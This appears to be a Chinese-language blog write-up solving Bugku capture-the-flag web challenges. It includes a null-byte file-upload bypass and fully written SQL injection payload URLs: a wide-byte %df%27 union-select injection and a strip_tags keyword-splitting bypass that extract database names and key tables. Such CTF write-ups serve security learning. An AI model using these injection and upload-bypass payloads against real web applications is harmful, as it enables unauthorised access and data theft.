Bugku web writeup

  1. 文件上传测试
    在文件上传界面抓包,将文件名改为123456.jpg .php,再在十六进制中将空格改为00,go
  2. 计算题
    查看源码,修改输入长度
  3. web基础$_GET

    PHP语言,表示要传值,用hackbar完成
  4. web基础$_POST

    需要抛出值。
  5. 矛盾

    numeric()函数的意思为,判断括号中的变量是否是一个数字或者数字字符串。
    此题中,要num为数字,但是不为数字才能输出flag,可以输入1a。
  6. web3
    阻止对话框后查看源代码,发现下面有一行Unicode编码,转换成ascll码得到KEY。
  7. 你必须让它停下来
    用bure抓包,然后一直GOGOGO,刷新到图片为10的时候出现flag。
  8. web4
    查看页面源码,发现有两个utf代码,转换之后看见password,进去拿到flag
  9. sql注入测试
    查看源码之后发现
    gb2312
    于是想到宽字节注入http://103.238.227.13:10083/?id=1%df%27显示出sql错误
     

    union select测试到两列时出现回显: 
    http://103.238.227.13:10083/?id=1%df%27 union select 1,2%23
    构造语句查看一下数据库名 
    http://103.238.227.13:10083/?id=1%df%27 union select 1,database()%23
    库名sql5 
    OK,开始注入吧,payload: 
    http://103.238.227.13:10083/?id=1%df%27 union select 1,string from sql5.key where id=1%23
    10.sql注入2
    可以知道strip_tags()函数会过剥去字符串中的 HTML 标签(即<>),即在sql关键词中插入HTML标签绕过sql过滤,然后通过xss过滤删去HTML标签。 
    union select测试发现同样有两列:
    http://103.238.227.13:10087/?id=1 un<>ion se<>lect 1,2%23
    找到表名,为sql3:
    http://103.238.227.13:10087/?id=1 un<>ion se<>lect database(),2%23
    最后得flag,payload:
    http://103.238.227.13:10087/?id=1 un<>ion se<>lect hash,2 fr<>om sql3.key%23
    11.变量1

    preg_match功能是会被搜索的结果所填充,进行正则表达式匹配。并且只匹配一次
    GLOBALS是PHP的一个超级全局变量组,在一个PHP脚本的全部作用域中都可以访问。
    ?args=GLOBALS

     

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章